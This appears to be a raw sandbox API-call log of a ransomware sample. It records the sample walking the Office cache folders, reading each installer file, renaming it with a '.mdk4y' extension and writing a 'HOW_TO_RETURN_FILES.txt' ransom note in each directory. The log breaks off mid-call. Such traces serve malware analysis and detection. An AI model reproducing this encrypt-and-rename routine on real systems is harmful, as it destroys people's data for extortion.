ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x412b, lpOverlapped=0x0) returned 1 [0088.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816398600000) returned 1 [0088.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816398600000) returned 1 [0088.761] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0088.762] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 0 [0088.762] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0088.762] AreFileApisANSI () returned 1 [0088.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0088.762] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.762] GetFileType (hFile=0x128) returned 0x1 [0088.763] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0088.763] AreFileApisANSI () returned 1 [0088.763] GetACP () returned 0x4e4 [0088.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{91140000-0057-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{91140000-0057-0000-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0088.763] AreFileApisANSI () returned 1 [0088.763] GetACP () returned 0x4e4 [0088.763] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\k\x8d") returned 63 [0088.787] AreFileApisANSI () returned 1 [0088.787] GetACP () returned 0x4e4 [0088.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.787] AreFileApisANSI () returned 1 [0088.787] GetACP () returned 0x4e4 [0088.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0088.787] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.787] AreFileApisANSI () returned 1 [0088.787] GetACP () returned 0x4e4 [0088.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Office32WW.msi3B-0000-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 14 [0088.788] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0088.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816401800000) returned 1 [0088.788] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0088.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816410200000) returned 1 [0088.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816410200000) returned 1 [0088.931] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.mdk4y")) returned 1 [0088.933] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.933] AreFileApisANSI () returned 1 [0088.933] GetACP () returned 0x4e4 [0088.933] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x37dfd8) returned 14 [0088.933] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0088.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816416300000) returned 1 [0088.933] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x10b2, lpOverlapped=0x0) returned 1 [0088.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816418200000) returned 1 [0088.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816418200000) returned 1 [0088.953] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.mdk4y")) returned 1 [0088.953] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.953] AreFileApisANSI () returned 1 [0088.953] GetACP () returned 0x4e4 [0088.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ose.exe2WW.xml", lpUsedDefaultChar=0x37dfd8) returned 7 [0088.953] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.953] AreFileApisANSI () returned 1 [0088.953] GetACP () returned 0x4e4 [0088.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="osetup.dll.xml", lpUsedDefaultChar=0x37dfd8) returned 10 [0088.953] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.953] AreFileApisANSI () returned 1 [0088.953] GetACP () returned 0x4e4 [0088.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OWOW32WW.cabml", lpUsedDefaultChar=0x37dfd8) returned 12 [0088.953] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0088.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816418400000) returned 1 [0088.954] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0089.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816427000000) returned 1 [0089.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816427100000) returned 1 [0089.092] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.mdk4y")) returned 1 [0089.093] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0089.093] AreFileApisANSI () returned 1 [0089.093] GetACP () returned 0x4e4 [0089.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PidGenX.dllb", lpUsedDefaultChar=0x37dfd8) returned 11 [0089.093] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0089.093] AreFileApisANSI () returned 1 [0089.093] GetACP () returned 0x4e4 [0089.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms00-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 24 [0089.093] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0089.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816432400000) returned 1 [0089.094] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xaec3a, lpOverlapped=0x0) returned 1 [0089.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816439500000) returned 1 [0089.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816439500000) returned 1 [0089.172] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.mdk4y")) returned 1 [0089.172] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0089.172] AreFileApisANSI () returned 1 [0089.172] GetACP () returned 0x4e4 [0089.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="setup.exeg-office.xrm-ms", lpUsedDefaultChar=0x37dfd8) returned 9 [0089.172] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0089.172] AreFileApisANSI () returned 1 [0089.172] GetACP () returned 0x4e4 [0089.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x37dfd8) returned 9 [0089.172] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0089.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816440300000) returned 1 [0089.173] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x5061, lpOverlapped=0x0) returned 1 [0089.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816440400000) returned 1 [0089.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816440400000) returned 1 [0089.175] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0089.175] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0089.175] AreFileApisANSI () returned 1 [0089.175] GetACP () returned 0x4e4 [0089.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VisiorWW.cab", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="VisiorWW.cabffice.xrm-ms", lpUsedDefaultChar=0x37dfd8) returned 12 [0089.175] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0089.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816440600000) returned 1 [0089.176] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0089.713] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816494300000) returned 1 [0089.713] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816494300000) returned 1 [0089.722] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.mdk4y")) returned 1 [0089.722] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0089.722] AreFileApisANSI () returned 1 [0089.722] GetACP () returned 0x4e4 [0089.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VisiorWW.msi", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="VisiorWW.msi", lpUsedDefaultChar=0x37dfd8) returned 12 [0089.722] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0089.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816495200000) returned 1 [0089.722] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0089.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816500900000) returned 1 [0089.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816500900000) returned 1 [0089.922] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.mdk4y")) returned 1 [0089.922] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0089.922] AreFileApisANSI () returned 1 [0089.922] GetACP () returned 0x4e4 [0089.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VisiorWW.xml", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="VisiorWW.xml", lpUsedDefaultChar=0x37dfd8) returned 12 [0089.922] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0089.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816515300000) returned 1 [0089.923] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x2213, lpOverlapped=0x0) returned 1 [0089.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816517100000) returned 1 [0089.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816517100000) returned 1 [0089.941] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.mdk4y")) returned 1 [0089.942] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 0 [0089.942] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0089.942] AreFileApisANSI () returned 1 [0089.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0089.942] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0089.943] GetFileType (hFile=0x128) returned 0x1 [0089.943] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 0 [0089.943] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0089.944] AreFileApisANSI () returned 1 [0089.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6998b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 46 [0089.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0089.944] GetFileType (hFile=0x124) returned 0x1 [0089.945] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0089.945] FindClose (in: hFindFile=0x6ab1d0 | out: hFindFile=0x6ab1d0) returned 1 [0089.945] AreFileApisANSI () returned 1 [0089.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0089.945] CreateFileW (lpFileName="C:\\MSOCache\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37de28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0089.946] GetFileType (hFile=0x120) returned 0x1 [0089.946] FindNextFileW (in: hFindFile=0x6ab190, lpFindFileData=0x6a7180 | out: lpFindFileData=0x6a7180) returned 1 [0089.946] AreFileApisANSI () returned 1 [0089.946] GetACP () returned 0x4e4 [0089.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pagefile.sys", cchWideChar=12, lpMultiByteStr=0x6a51dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e17c | out: lpMultiByteStr="pagefile.sys", lpUsedDefaultChar=0x37e17c) returned 12 [0089.946] CreateFileA (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0089.947] FindNextFileW (in: hFindFile=0x6ab190, lpFindFileData=0x6a7180 | out: lpFindFileData=0x6a7180) returned 1 [0089.947] AreFileApisANSI () returned 1 [0089.947] GetACP () returned 0x4e4 [0089.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PerfLogs", cchWideChar=8, lpMultiByteStr=0x6a51dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e17c | out: lpMultiByteStr="PerfLogs.sys", lpUsedDefaultChar=0x37e17c) returned 8 [0089.947] AreFileApisANSI () returned 1 [0089.947] GetACP () returned 0x4e4 [0089.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e19c, cbMultiByte=12, lpWideCharStr=0x37df10, cchWideChar=260 | out: lpWideCharStr="C:\\PerfLogs\\") returned 12 [0089.947] AreFileApisANSI () returned 1 [0089.947] GetACP () returned 0x4e4 [0089.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 1 [0089.947] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0089.947] AreFileApisANSI () returned 1 [0089.947] GetACP () returned 0x4e4 [0089.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 